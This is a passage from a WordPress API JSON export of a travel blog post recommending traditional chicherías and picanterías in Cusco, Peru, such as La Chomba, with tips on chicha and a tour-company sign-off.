with creative sides and occasional fusion dishes.&nbsp;<\/p>\n\n\n\n<p>They even have a few vegetarian options that still honor traditional ingredients\u2014perfect if you\u2019re curious but not into cuy.<\/p>\n\n\n\n<p>? Urbanizaci\u00f3n Santa M\u00f3nica, Cusco<\/p>\n\n\n\n<p>?<strong> Try this:<\/strong> Ask for their daily menu, which rotates and is made with ultra-fresh, market-sourced ingredients.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/salon-san-andres.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Inside Cusque\u00f1isima restaurant Picanteria\" class=\"wp-image-16666\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/salon-san-andres.jpg?w=1000&amp;ssl=1 1000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/salon-san-andres.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/salon-san-andres.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/salon-san-andres.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Picanter\u00eda La Chomba<\/strong><\/h3>\n\n\n\n<p>Finally, we have La Chomba. If you want the real deal, this is it. La Chomba is loud, rustic, and unapologetically local. <\/p>\n\n\n\n<p>Here, Cusque\u00f1os go to drink chicha, share laughs, and devour home-cooked meals that haven\u2019t changed in generations.<\/p>\n\n\n\n<p>There are no tourist menus here. Expect hearty bowls of soup, smoky pork, and clay jugs full of freshly brewed chicha (or chicha morada, too)&nbsp;<\/p>\n\n\n\n<p>Likewise, you might be sitting next to a farmer, a taxi driver, or a musician, and you\u2019ll all be eating the same amazing food.<\/p>\n\n\n\n<p>? Av. Tullumayo 339<\/p>\n\n\n\n<p>? <strong>Try this: <\/strong>Their cuy al horno (baked guinea pig) is one of the best in town. Come hungry and bring small bills.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"442\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000325873W.jpg?resize=697%2C442&#038;ssl=1\" alt=\"La Chomba's Don Pepe holding a dish of oven cuy with frutillada\" class=\"wp-image-16659\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000325873W.jpg?resize=1024%2C650&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000325873W.jpg?resize=300%2C191&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000325873W.jpg?resize=768%2C488&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000325873W.jpg?resize=1536%2C975&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000325873W.jpg?w=1800&amp;ssl=1 1800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000325873W.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Don\u2019t Skip the Chicha<\/strong><\/h3>\n\n\n\n<p>Even if you\u2019re not a drinker, you must try chicha de jora. It\u2019s earthy, slightly sour, lightly fermented, and connects you directly to thousands of years of Andean tradition.&nbsp;<\/p>\n\n\n\n<p>Locals toast with it before meals, and it\u2019s even used in cooking. Feeling sweet? Try frutillada, the pink, strawberry-flavored version of chicha.&nbsp;<\/p>\n\n\n\n<p>It\u2019s lighter, more festive, and often served during festivals or in<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/what-to-see-in-sacred-valley-peru\/\"><strong>Sacred Valley towns<\/strong><\/a> like Pisac or Urubamba. Maybe you\u2019ll love it more than Chicha!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Before You Go: Traveler Tips<\/strong><\/h3>\n\n\n\n<p><strong>Go for lunch:<\/strong> Most picanter\u00edas open mid-morning and close by 4 PM.<\/p>\n\n\n\n<p><strong>&nbsp;Bring cash: <\/strong>Especially in traditional or family-run places.<\/p>\n\n\n\n<p><strong>&nbsp;Watch the spiciness<\/strong>: That red pepper might look cute, but it packs a punch!<\/p>\n\n\n\n<p><strong>Ask questions: <\/strong>Most owners love sharing the story behind their food.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"498\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/5248520973_fbe8590fab_k-2-compressed.jpg?resize=697%2C498&#038;ssl=1\" alt=\"Lady in charge of a Chicheria\" class=\"wp-image-16661\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/5248520973_fbe8590fab_k-2-compressed.jpg?resize=1024%2C732&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/5248520973_fbe8590fab_k-2-compressed.jpg?resize=300%2C215&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/5248520973_fbe8590fab_k-2-compressed.jpg?resize=768%2C549&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/5248520973_fbe8590fab_k-2-compressed.jpg?w=1338&amp;ssl=1 1338w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>More than just your average Eatery<\/strong><\/h2>\n\n\n\n<p>In conclusion, Cusco is not just about Machu Picchu and stone walls\u2014it\u2019s also about hearty food, homemade drinks, and a culture that gathers around the table.\u00a0<\/p>\n\n\n\n<p>Visiting a chicher\u00eda or picanter\u00eda is like stepping into someone\u2019s home and being treated like family. It\u2019s messy, warm, flavorful, and unforgettable.<\/p>\n\n\n\n<p>So, next time you\u2019re in the imperial city, forget the fancy spots for a while. Follow the smell of wood-fired ovens, look for a red bag hanging at the door, and let Cusco feed your body\u2014and your soul. Buen provecho!<\/p>\n\n\n\n<p>Finally, to learn more about Peruvian food, culture, or even stories, stay tuned to our blog! Likewise, Viagens Machu Picchu would be more than glad to assist you in making your dreams come true in Peru.\u00a0<\/p>\n\n\n\n<p>So, please, feel free to <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>contact us<\/strong><\/a> to learn more about our tours, packages, and best deals. Don\u2019t put it off any longer; the adventure of your dreams awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu:<\/em>&nbsp;Journeys<em>&nbsp;that inspire, moments that last<\/em>.<\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dig into Cusco\u2019s rich culinary culture at chicher\u00edas and picanter\u00edas\u2014rustic eateries serving traditional Andean dishes and chicha de jora. From baked cuy to spicy adobo, explore the flavors, stories, and soul of Peru\u2019s imperial city.<\/p>\n","protected":false},"author":1,"featured_media":16668,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[206,192,1850,3495],"tags":[1900,950,1904,1959,5724,1267,5450,1907,5725,1783],"class_list":["post-16647","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cusco","category-experiences","category-food","category-peruvian-flavors","tag-chicha-de-jora","tag-chicha-morada","tag-corn-beer","tag-cultural-heritage","tag-drinking-chicha","tag-guinea-pig","tag-plastic-bag","tag-purple-corn","tag-red-plastic","tag-traditional-dishes"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/1fda7e2d-9869-400f-94f2-20b1320e8180.png?fit=1536%2C1024&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4kv","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16647","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=16647"}],"version-history":[{"count":4,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16647\/revisions"}],"predecessor-version":[{"id":16672,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16647\/revisions\/16672"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/16668"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=16647"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=16647"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=16647"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}